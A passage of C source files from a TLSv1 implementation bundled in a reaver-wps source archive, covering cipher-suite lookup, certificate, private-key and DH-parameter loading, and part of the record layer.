CRYPTO_CIPHER_ALG_AES } }; #define NUM_TLS_CIPHER_DATA NUM_ELEMS(tls_ciphers) /** * tls_get_cipher_suite - Get TLS cipher suite * @suite: Cipher suite identifier * Returns: Pointer to the cipher data or %NULL if not found */ const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite) { size_t i; for (i = 0; i < NUM_TLS_CIPHER_SUITES; i++) if (tls_cipher_suites[i].suite == suite) return &tls_cipher_suites[i]; return NULL; } const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher) { size_t i; for (i = 0; i < NUM_TLS_CIPHER_DATA; i++) if (tls_ciphers[i].cipher == cipher) return &tls_ciphers[i]; return NULL; } int tls_server_key_exchange_allowed(tls_cipher cipher) { const struct tls_cipher_suite *suite; /* RFC 2246, Section 7.4.3 */ suite = tls_get_cipher_suite(cipher); if (suite == NULL) return 0; switch (suite->key_exchange) { case TLS_KEY_X_DHE_DSS: case TLS_KEY_X_DHE_DSS_EXPORT: case TLS_KEY_X_DHE_RSA: case TLS_KEY_X_DHE_RSA_EXPORT: case TLS_KEY_X_DH_anon_EXPORT: case TLS_KEY_X_DH_anon: return 1; case TLS_KEY_X_RSA_EXPORT: return 1 /* FIX: public key len > 512 bits */; default: return 0; } } /** * tls_parse_cert - Parse DER encoded X.509 certificate and get public key * @buf: ASN.1 DER encoded certificate * @len: Length of the buffer * @pk: Buffer for returning the allocated public key * Returns: 0 on success, -1 on failure * * This functions parses an ASN.1 DER encoded X.509 certificate and retrieves * the public key from it. The caller is responsible for freeing the public key * by calling crypto_public_key_free(). */ int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk) { struct x509_certificate *cert; wpa_hexdump(MSG_MSGDUMP, "TLSv1: Parse ASN.1 DER certificate", buf, len); *pk = crypto_public_key_from_cert(buf, len); if (*pk) return 0; cert = x509_certificate_parse(buf, len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse X.509 " "certificate"); return -1; } /* TODO * verify key usage (must allow encryption) * * All certificate profiles, key and cryptographic formats are * defined by the IETF PKIX working group [PKIX]. When a key * usage extension is present, the digitalSignature bit must be * set for the key to be eligible for signing, as described * above, and the keyEncipherment bit must be present to allow * encryption, as described above. The keyAgreement bit must be * set on Diffie-Hellman certificates. (PKIX: RFC 3280) */ *pk = crypto_public_key_import(cert->public_key, cert->public_key_len); x509_certificate_free(cert); if (*pk == NULL) { wpa_printf(MSG_ERROR, "TLSv1: Failed to import " "server public key"); return -1; } return 0; } int tls_verify_hash_init(struct tls_verify_hash *verify) { tls_verify_hash_free(verify); verify->md5_client = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->md5_server = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->md5_cert = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); verify->sha1_client = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); verify->sha1_server = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); verify->sha1_cert = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); if (verify->md5_client == NULL || verify->md5_server == NULL || verify->md5_cert == NULL || verify->sha1_client == NULL || verify->sha1_server == NULL || verify->sha1_cert == NULL) { tls_verify_hash_free(verify); return -1; } return 0; } void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, size_t len) { if (verify->md5_client && verify->sha1_client) { crypto_hash_update(verify->md5_client, buf, len); crypto_hash_update(verify->sha1_client, buf, len); } if (verify->md5_server && verify->sha1_server) { crypto_hash_update(verify->md5_server, buf, len); crypto_hash_update(verify->sha1_server, buf, len); } if (verify->md5_cert && verify->sha1_cert) { crypto_hash_update(verify->md5_cert, buf, len); crypto_hash_update(verify->sha1_cert, buf, len); } } void tls_verify_hash_free(struct tls_verify_hash *verify) { crypto_hash_finish(verify->md5_client, NULL, NULL); crypto_hash_finish(verify->md5_server, NULL, NULL); crypto_hash_finish(verify->md5_cert, NULL, NULL); crypto_hash_finish(verify->sha1_client, NULL, NULL); crypto_hash_finish(verify->sha1_server, NULL, NULL); crypto_hash_finish(verify->sha1_cert, NULL, NULL); verify->md5_client = NULL; verify->md5_server = NULL; verify->md5_cert = NULL; verify->sha1_client = NULL; verify->sha1_server = NULL; verify->sha1_cert = NULL; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_common.h000077500000000000000000000164461363372615500215110ustar00rootroot00000000000000/* * TLSv1 common definitions * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_COMMON_H #define TLSV1_COMMON_H #include "crypto/crypto.h" #define TLS_VERSION 0x0301 /* TLSv1 */ #define TLS_RANDOM_LEN 32 #define TLS_PRE_MASTER_SECRET_LEN 48 #define TLS_MASTER_SECRET_LEN 48 #define TLS_SESSION_ID_MAX_LEN 32 #define TLS_VERIFY_DATA_LEN 12 /* HandshakeType */ enum { TLS_HANDSHAKE_TYPE_HELLO_REQUEST = 0, TLS_HANDSHAKE_TYPE_CLIENT_HELLO = 1, TLS_HANDSHAKE_TYPE_SERVER_HELLO = 2, TLS_HANDSHAKE_TYPE_NEW_SESSION_TICKET = 4 /* RFC 4507 */, TLS_HANDSHAKE_TYPE_CERTIFICATE = 11, TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE = 12, TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST = 13, TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE = 14, TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY = 15, TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE = 16, TLS_HANDSHAKE_TYPE_FINISHED = 20, TLS_HANDSHAKE_TYPE_CERTIFICATE_URL = 21 /* RFC 4366 */, TLS_HANDSHAKE_TYPE_CERTIFICATE_STATUS = 22 /* RFC 4366 */ }; /* CipherSuite */ #define TLS_NULL_WITH_NULL_NULL 0x0000 /* RFC 2246 */ #define TLS_RSA_WITH_NULL_MD5 0x0001 /* RFC 2246 */ #define TLS_RSA_WITH_NULL_SHA 0x0002 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x0003 /* RFC 2246 */ #define TLS_RSA_WITH_RC4_128_MD5 0x0004 /* RFC 2246 */ #define TLS_RSA_WITH_RC4_128_SHA 0x0005 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 0x0006 /* RFC 2246 */ #define TLS_RSA_WITH_IDEA_CBC_SHA 0x0007 /* RFC 2246 */ #define TLS_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0008 /* RFC 2246 */ #define TLS_RSA_WITH_DES_CBC_SHA 0x0009 /* RFC 2246 */ #define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0x000A /* RFC 2246 */ #define TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA 0x000B /* RFC 2246 */ #define TLS_DH_DSS_WITH_DES_CBC_SHA 0x000C /* RFC 2246 */ #define TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA 0x000D /* RFC 2246 */ #define TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA 0x000E /* RFC 2246 */ #define TLS_DH_RSA_WITH_DES_CBC_SHA 0x000F /* RFC 2246 */ #define TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA 0x0010 /* RFC 2246 */ #define TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA 0x0011 /* RFC 2246 */ #define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x0012 /* RFC 2246 */ #define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x0013 /* RFC 2246 */ #define TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0014 /* RFC 2246 */ #define TLS_DHE_RSA_WITH_DES_CBC_SHA 0x0015 /* RFC 2246 */ #define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x0016 /* RFC 2246 */ #define TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 0x0017 /* RFC 2246 */ #define TLS_DH_anon_WITH_RC4_128_MD5 0x0018 /* RFC 2246 */ #define TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA 0x0019 /* RFC 2246 */ #define TLS_DH_anon_WITH_DES_CBC_SHA 0x001A /* RFC 2246 */ #define TLS_DH_anon_WITH_3DES_EDE_CBC_SHA 0x001B /* RFC 2246 */ #define TLS_RSA_WITH_AES_128_CBC_SHA 0x002F /* RFC 3268 */ #define TLS_DH_DSS_WITH_AES_128_CBC_SHA 0x0030 /* RFC 3268 */ #define TLS_DH_RSA_WITH_AES_128_CBC_SHA 0x0031 /* RFC 3268 */ #define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x0032 /* RFC 3268 */ #define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x0033 /* RFC 3268 */ #define TLS_DH_anon_WITH_AES_128_CBC_SHA 0x0034 /* RFC 3268 */ #define TLS_RSA_WITH_AES_256_CBC_SHA 0x0035 /* RFC 3268 */ #define TLS_DH_DSS_WITH_AES_256_CBC_SHA 0x0036 /* RFC 3268 */ #define TLS_DH_RSA_WITH_AES_256_CBC_SHA 0x0037 /* RFC 3268 */ #define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x0038 /* RFC 3268 */ #define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x0039 /* RFC 3268 */ #define TLS_DH_anon_WITH_AES_256_CBC_SHA 0x003A /* RFC 3268 */ /* CompressionMethod */ #define TLS_COMPRESSION_NULL 0 /* AlertLevel */ #define TLS_ALERT_LEVEL_WARNING 1 #define TLS_ALERT_LEVEL_FATAL 2 /* AlertDescription */ #define TLS_ALERT_CLOSE_NOTIFY 0 #define TLS_ALERT_UNEXPECTED_MESSAGE 10 #define TLS_ALERT_BAD_RECORD_MAC 20 #define TLS_ALERT_DECRYPTION_FAILED 21 #define TLS_ALERT_RECORD_OVERFLOW 22 #define TLS_ALERT_DECOMPRESSION_FAILURE 30 #define TLS_ALERT_HANDSHAKE_FAILURE 40 #define TLS_ALERT_BAD_CERTIFICATE 42 #define TLS_ALERT_UNSUPPORTED_CERTIFICATE 43 #define TLS_ALERT_CERTIFICATE_REVOKED 44 #define TLS_ALERT_CERTIFICATE_EXPIRED 45 #define TLS_ALERT_CERTIFICATE_UNKNOWN 46 #define TLS_ALERT_ILLEGAL_PARAMETER 47 #define TLS_ALERT_UNKNOWN_CA 48 #define TLS_ALERT_ACCESS_DENIED 49 #define TLS_ALERT_DECODE_ERROR 50 #define TLS_ALERT_DECRYPT_ERROR 51 #define TLS_ALERT_EXPORT_RESTRICTION 60 #define TLS_ALERT_PROTOCOL_VERSION 70 #define TLS_ALERT_INSUFFICIENT_SECURITY 71 #define TLS_ALERT_INTERNAL_ERROR 80 #define TLS_ALERT_USER_CANCELED 90 #define TLS_ALERT_NO_RENEGOTIATION 100 #define TLS_ALERT_UNSUPPORTED_EXTENSION 110 /* RFC 4366 */ #define TLS_ALERT_CERTIFICATE_UNOBTAINABLE 111 /* RFC 4366 */ #define TLS_ALERT_UNRECOGNIZED_NAME 112 /* RFC 4366 */ #define TLS_ALERT_BAD_CERTIFICATE_STATUS_RESPONSE 113 /* RFC 4366 */ #define TLS_ALERT_BAD_CERTIFICATE_HASH_VALUE 114 /* RFC 4366 */ /* ChangeCipherSpec */ enum { TLS_CHANGE_CIPHER_SPEC = 1 }; /* TLS Extensions */ #define TLS_EXT_SERVER_NAME 0 /* RFC 4366 */ #define TLS_EXT_MAX_FRAGMENT_LENGTH 1 /* RFC 4366 */ #define TLS_EXT_CLIENT_CERTIFICATE_URL 2 /* RFC 4366 */ #define TLS_EXT_TRUSTED_CA_KEYS 3 /* RFC 4366 */ #define TLS_EXT_TRUNCATED_HMAC 4 /* RFC 4366 */ #define TLS_EXT_STATUS_REQUEST 5 /* RFC 4366 */ #define TLS_EXT_SESSION_TICKET 35 /* RFC 4507 */ #define TLS_EXT_PAC_OPAQUE TLS_EXT_SESSION_TICKET /* EAP-FAST terminology */ typedef enum { TLS_KEY_X_NULL, TLS_KEY_X_RSA, TLS_KEY_X_RSA_EXPORT, TLS_KEY_X_DH_DSS_EXPORT, TLS_KEY_X_DH_DSS, TLS_KEY_X_DH_RSA_EXPORT, TLS_KEY_X_DH_RSA, TLS_KEY_X_DHE_DSS_EXPORT, TLS_KEY_X_DHE_DSS, TLS_KEY_X_DHE_RSA_EXPORT, TLS_KEY_X_DHE_RSA, TLS_KEY_X_DH_anon_EXPORT, TLS_KEY_X_DH_anon } tls_key_exchange; typedef enum { TLS_CIPHER_NULL, TLS_CIPHER_RC4_40, TLS_CIPHER_RC4_128, TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_IDEA_CBC, TLS_CIPHER_DES40_CBC, TLS_CIPHER_DES_CBC, TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_AES_128_CBC, TLS_CIPHER_AES_256_CBC } tls_cipher; typedef enum { TLS_HASH_NULL, TLS_HASH_MD5, TLS_HASH_SHA } tls_hash; struct tls_cipher_suite { u16 suite; tls_key_exchange key_exchange; tls_cipher cipher; tls_hash hash; }; typedef enum { TLS_CIPHER_STREAM, TLS_CIPHER_BLOCK } tls_cipher_type; struct tls_cipher_data { tls_cipher cipher; tls_cipher_type type; size_t key_material; size_t expanded_key_material; size_t block_size; /* also iv_size */ enum crypto_cipher_alg alg; }; struct tls_verify_hash { struct crypto_hash *md5_client; struct crypto_hash *sha1_client; struct crypto_hash *md5_server; struct crypto_hash *sha1_server; struct crypto_hash *md5_cert; struct crypto_hash *sha1_cert; }; const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite); const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher); int tls_server_key_exchange_allowed(tls_cipher cipher); int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk); int tls_verify_hash_init(struct tls_verify_hash *verify); void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, size_t len); void tls_verify_hash_free(struct tls_verify_hash *verify); #endif /* TLSV1_COMMON_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_cred.c000077500000000000000000000274161363372615500211300ustar00rootroot00000000000000/* * TLSv1 credentials * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "base64.h" #include "crypto/crypto.h" #include "x509v3.h" #include "tlsv1_cred.h" struct tlsv1_credentials * tlsv1_cred_alloc(void) { struct tlsv1_credentials *cred; cred = os_zalloc(sizeof(*cred)); return cred; } void tlsv1_cred_free(struct tlsv1_credentials *cred) { if (cred == NULL) return; x509_certificate_chain_free(cred->trusted_certs); x509_certificate_chain_free(cred->cert); crypto_private_key_free(cred->key); os_free(cred->dh_p); os_free(cred->dh_g); os_free(cred); } static int tlsv1_add_cert_der(struct x509_certificate **chain, const u8 *buf, size_t len) { struct x509_certificate *cert; char name[128]; cert = x509_certificate_parse(buf, len); if (cert == NULL) { wpa_printf(MSG_INFO, "TLSv1: %s - failed to parse certificate", __func__); return -1; } cert->next = *chain; *chain = cert; x509_name_string(&cert->subject, name, sizeof(name)); wpa_printf(MSG_DEBUG, "TLSv1: Added certificate: %s", name); return 0; } static const char *pem_cert_begin = "-----BEGIN CERTIFICATE-----"; static const char *pem_cert_end = "-----END CERTIFICATE-----"; static const char *pem_key_begin = "-----BEGIN RSA PRIVATE KEY-----"; static const char *pem_key_end = "-----END RSA PRIVATE KEY-----"; static const char *pem_key2_begin = "-----BEGIN PRIVATE KEY-----"; static const char *pem_key2_end = "-----END PRIVATE KEY-----"; static const char *pem_key_enc_begin = "-----BEGIN ENCRYPTED PRIVATE KEY-----"; static const char *pem_key_enc_end = "-----END ENCRYPTED PRIVATE KEY-----"; static const u8 * search_tag(const char *tag, const u8 *buf, size_t len) { size_t i, plen; plen = os_strlen(tag); if (len < plen) return NULL; for (i = 0; i < len - plen; i++) { if (os_memcmp(buf + i, tag, plen) == 0) return buf + i; } return NULL; } static int tlsv1_add_cert(struct x509_certificate **chain, const u8 *buf, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; pos = search_tag(pem_cert_begin, buf, len); if (!pos) { wpa_printf(MSG_DEBUG, "TLSv1: No PEM certificate tag found - " "assume DER format"); return tlsv1_add_cert_der(chain, buf, len); } wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format certificate into " "DER format"); while (pos) { pos += os_strlen(pem_cert_begin); end = search_tag(pem_cert_end, pos, buf + len - pos); if (end == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not find PEM " "certificate end tag (%s)", pem_cert_end); return -1; } der = base64_decode(pos, end - pos, &der_len); if (der == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM " "certificate"); return -1; } if (tlsv1_add_cert_der(chain, der, der_len) < 0) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM " "certificate after DER conversion"); os_free(der); return -1; } os_free(der); end += os_strlen(pem_cert_end); pos = search_tag(pem_cert_begin, end, buf + len - end); } return 0; } static int tlsv1_set_cert_chain(struct x509_certificate **chain, const char *cert, const u8 *cert_blob, size_t cert_blob_len) { if (cert_blob) return tlsv1_add_cert(chain, cert_blob, cert_blob_len); if (cert) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(cert, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", cert); return -1; } ret = tlsv1_add_cert(chain, buf, len); os_free(buf); return ret; } return 0; } /** * tlsv1_set_ca_cert - Set trusted CA certificate(s) * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @cert: File or reference name for X.509 certificate in PEM or DER format * @cert_blob: cert as inlined data or %NULL if not used * @cert_blob_len: ca_cert_blob length * @path: Path to CA certificates (not yet supported) * Returns: 0 on success, -1 on failure */ int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len, const char *path) { if (tlsv1_set_cert_chain(&cred->trusted_certs, cert, cert_blob, cert_blob_len) < 0) return -1; if (path) { /* TODO: add support for reading number of certificate files */ wpa_printf(MSG_INFO, "TLSv1: Use of CA certificate directory " "not yet supported"); return -1; } return 0; } /** * tlsv1_set_cert - Set certificate * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @cert: File or reference name for X.509 certificate in PEM or DER format * @cert_blob: cert as inlined data or %NULL if not used * @cert_blob_len: cert_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len) { return tlsv1_set_cert_chain(&cred->cert, cert, cert_blob, cert_blob_len); } static struct crypto_private_key * tlsv1_set_key_pem(const u8 *key, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; struct crypto_private_key *pkey; pos = search_tag(pem_key_begin, key, len); if (!pos) { pos = search_tag(pem_key2_begin, key, len); if (!pos) return NULL; pos += os_strlen(pem_key2_begin); end = search_tag(pem_key2_end, pos, key + len - pos); if (!end) return NULL; } else { pos += os_strlen(pem_key_begin); end = search_tag(pem_key_end, pos, key + len - pos); if (!end) return NULL; } der = base64_decode(pos, end - pos, &der_len); if (!der) return NULL; pkey = crypto_private_key_import(der, der_len, NULL); os_free(der); return pkey; } static struct crypto_private_key * tlsv1_set_key_enc_pem(const u8 *key, size_t len, const char *passwd) { const u8 *pos, *end; unsigned char *der; size_t der_len; struct crypto_private_key *pkey; if (passwd == NULL) return NULL; pos = search_tag(pem_key_enc_begin, key, len); if (!pos) return NULL; pos += os_strlen(pem_key_enc_begin); end = search_tag(pem_key_enc_end, pos, key + len - pos); if (!end) return NULL; der = base64_decode(pos, end - pos, &der_len); if (!der) return NULL; pkey = crypto_private_key_import(der, der_len, passwd); os_free(der); return pkey; } static int tlsv1_set_key(struct tlsv1_credentials *cred, const u8 *key, size_t len, const char *passwd) { cred->key = crypto_private_key_import(key, len, passwd); if (cred->key == NULL) cred->key = tlsv1_set_key_pem(key, len); if (cred->key == NULL) cred->key = tlsv1_set_key_enc_pem(key, len, passwd); if (cred->key == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse private key"); return -1; } return 0; } /** * tlsv1_set_private_key - Set private key * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @private_key: File or reference name for the key in PEM or DER format * @private_key_passwd: Passphrase for decrypted private key, %NULL if no * passphrase is used. * @private_key_blob: private_key as inlined data or %NULL if not used * @private_key_blob_len: private_key_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_private_key(struct tlsv1_credentials *cred, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len) { crypto_private_key_free(cred->key); cred->key = NULL; if (private_key_blob) return tlsv1_set_key(cred, private_key_blob, private_key_blob_len, private_key_passwd); if (private_key) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(private_key, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", private_key); return -1; } ret = tlsv1_set_key(cred, buf, len, private_key_passwd); os_free(buf); return ret; } return 0; } static int tlsv1_set_dhparams_der(struct tlsv1_credentials *cred, const u8 *dh, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end; pos = dh; end = dh + len; /* * DHParameter ::= SEQUENCE { * prime INTEGER, -- p * base INTEGER, -- g * privateValueLength INTEGER OPTIONAL } */ /* DHParamer ::= SEQUENCE */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "DH: DH parameters did not start with a " "valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; /* prime INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for p; " "class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } wpa_hexdump(MSG_MSGDUMP, "DH: prime (p)", hdr.payload, hdr.length); if (hdr.length == 0) return -1; os_free(cred->dh_p); cred->dh_p = os_malloc(hdr.length); if (cred->dh_p == NULL) return -1; os_memcpy(cred->dh_p, hdr.payload, hdr.length); cred->dh_p_len = hdr.length; pos = hdr.payload + hdr.length; /* base INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for g; " "class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } wpa_hexdump(MSG_MSGDUMP, "DH: base (g)", hdr.payload, hdr.length); if (hdr.length == 0) return -1; os_free(cred->dh_g); cred->dh_g = os_malloc(hdr.length); if (cred->dh_g == NULL) return -1; os_memcpy(cred->dh_g, hdr.payload, hdr.length); cred->dh_g_len = hdr.length; return 0; } static const char *pem_dhparams_begin = "-----BEGIN DH PARAMETERS-----"; static const char *pem_dhparams_end = "-----END DH PARAMETERS-----"; static int tlsv1_set_dhparams_blob(struct tlsv1_credentials *cred, const u8 *buf, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; pos = search_tag(pem_dhparams_begin, buf, len); if (!pos) { wpa_printf(MSG_DEBUG, "TLSv1: No PEM dhparams tag found - " "assume DER format"); return tlsv1_set_dhparams_der(cred, buf, len); } wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format dhparams into DER " "format"); pos += os_strlen(pem_dhparams_begin); end = search_tag(pem_dhparams_end, pos, buf + len - pos); if (end == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not find PEM dhparams end " "tag (%s)", pem_dhparams_end); return -1; } der = base64_decode(pos, end - pos, &der_len); if (der == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM dhparams"); return -1; } if (tlsv1_set_dhparams_der(cred, der, der_len) < 0) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM dhparams " "DER conversion"); os_free(der); return -1; } os_free(der); return 0; } /** * tlsv1_set_dhparams - Set Diffie-Hellman parameters * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @dh_file: File or reference name for the DH params in PEM or DER format * @dh_blob: DH params as inlined data or %NULL if not used * @dh_blob_len: dh_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, const u8 *dh_blob, size_t dh_blob_len) { if (dh_blob) return tlsv1_set_dhparams_blob(cred, dh_blob, dh_blob_len); if (dh_file) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(dh_file, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", dh_file); return -1; } ret = tlsv1_set_dhparams_blob(cred, buf, len); os_free(buf); return ret; } return 0; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_cred.h000077500000000000000000000026221363372615500211250ustar00rootroot00000000000000/* * TLSv1 credentials * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CRED_H #define TLSV1_CRED_H struct tlsv1_credentials { struct x509_certificate *trusted_certs; struct x509_certificate *cert; struct crypto_private_key *key; /* Diffie-Hellman parameters */ u8 *dh_p; /* prime */ size_t dh_p_len; u8 *dh_g; /* generator */ size_t dh_g_len; }; struct tlsv1_credentials * tlsv1_cred_alloc(void); void tlsv1_cred_free(struct tlsv1_credentials *cred); int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len, const char *path); int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len); int tlsv1_set_private_key(struct tlsv1_credentials *cred, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len); int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, const u8 *dh_blob, size_t dh_blob_len); #endif /* TLSV1_CRED_H */ reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_record.c000077500000000000000000000265071363372615500214710ustar00rootroot00000000000000/* * TLSv1 Record Protocol * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "tlsv1_common.h" #include "tlsv1_record.h" /** * tlsv1_record_set_cipher_suite - TLS record layer: Set cipher suite * @rl: Pointer to TLS record layer data * @cipher_suite: New cipher suite * Returns: 0 on success, -1 on failure * * This function is used to prepare TLS record layer for cipher suite change. * tlsv1_record_change_write_cipher() and * tlsv1_record_change_read_cipher() functions can then be used to change the * currently used ciphers. */ int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, u16 cipher_suite) { const struct tls_cipher_suite *suite; const struct tls_cipher_data *data; wpa_printf(MSG_DEBUG, "TLSv1: Selected cipher suite: 0x%04x", cipher_suite); rl->cipher_suite = cipher_suite; suite = tls_get_cipher_suite(cipher_suite); if (suite == NULL) return -1; if (suite->hash == TLS_HASH_MD5) { rl->hash_alg = CRYPTO_HASH_ALG_HMAC_MD5; rl->hash_size = MD5_MAC_LEN; } else if (suite->hash == TLS_HASH_SHA) { rl->hash_alg = CRYPTO_HASH_ALG_HMAC_SHA1; rl->hash_size = SHA1_MAC_LEN; } data = tls_get_cipher_data(suite->cipher); if (data == NULL) return -1; rl->key_material_len = data->key_material; rl->iv_size = data->block_size; rl->cipher_alg = data->alg; return 0; } /** * tlsv1_record_change_write_cipher - TLS record layer: Change write cipher * @rl: Pointer to TLS record layer data * Returns: 0 on success (cipher changed), -1 on failure * * This function changes TLS record layer to use the new cipher suite * configured with tlsv1_record_set_cipher_suite() for writing. */ int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New write cipher suite " "0x%04x", rl->cipher_suite); rl->write_cipher_suite = rl->cipher_suite; os_memset(rl->write_seq_num, 0, TLS_SEQ_NUM_LEN); if (rl->write_cbc) { crypto_cipher_deinit(rl->write_cbc); rl->write_cbc = NULL; } if (rl->cipher_alg != CRYPTO_CIPHER_NULL) { rl->write_cbc = crypto_cipher_init(rl->cipher_alg, rl->write_iv, rl->write_key, rl->key_material_len); if (rl->write_cbc == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize " "cipher"); return -1; } } return 0; } /** * tlsv1_record_change_read_cipher - TLS record layer: Change read cipher * @rl: Pointer to TLS record layer data * Returns: 0 on success (cipher changed), -1 on failure * * This function changes TLS record layer to use the new cipher suite * configured with tlsv1_record_set_cipher_suite() for reading. */ int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl) { wpa_printf(MSG_DEBUG, "TLSv1: Record Layer - New read cipher suite " "0x%04x", rl->cipher_suite); rl->read_cipher_suite = rl->cipher_suite; os_memset(rl->read_seq_num, 0, TLS_SEQ_NUM_LEN); if (rl->read_cbc) { crypto_cipher_deinit(rl->read_cbc); rl->read_cbc = NULL; } if (rl->cipher_alg != 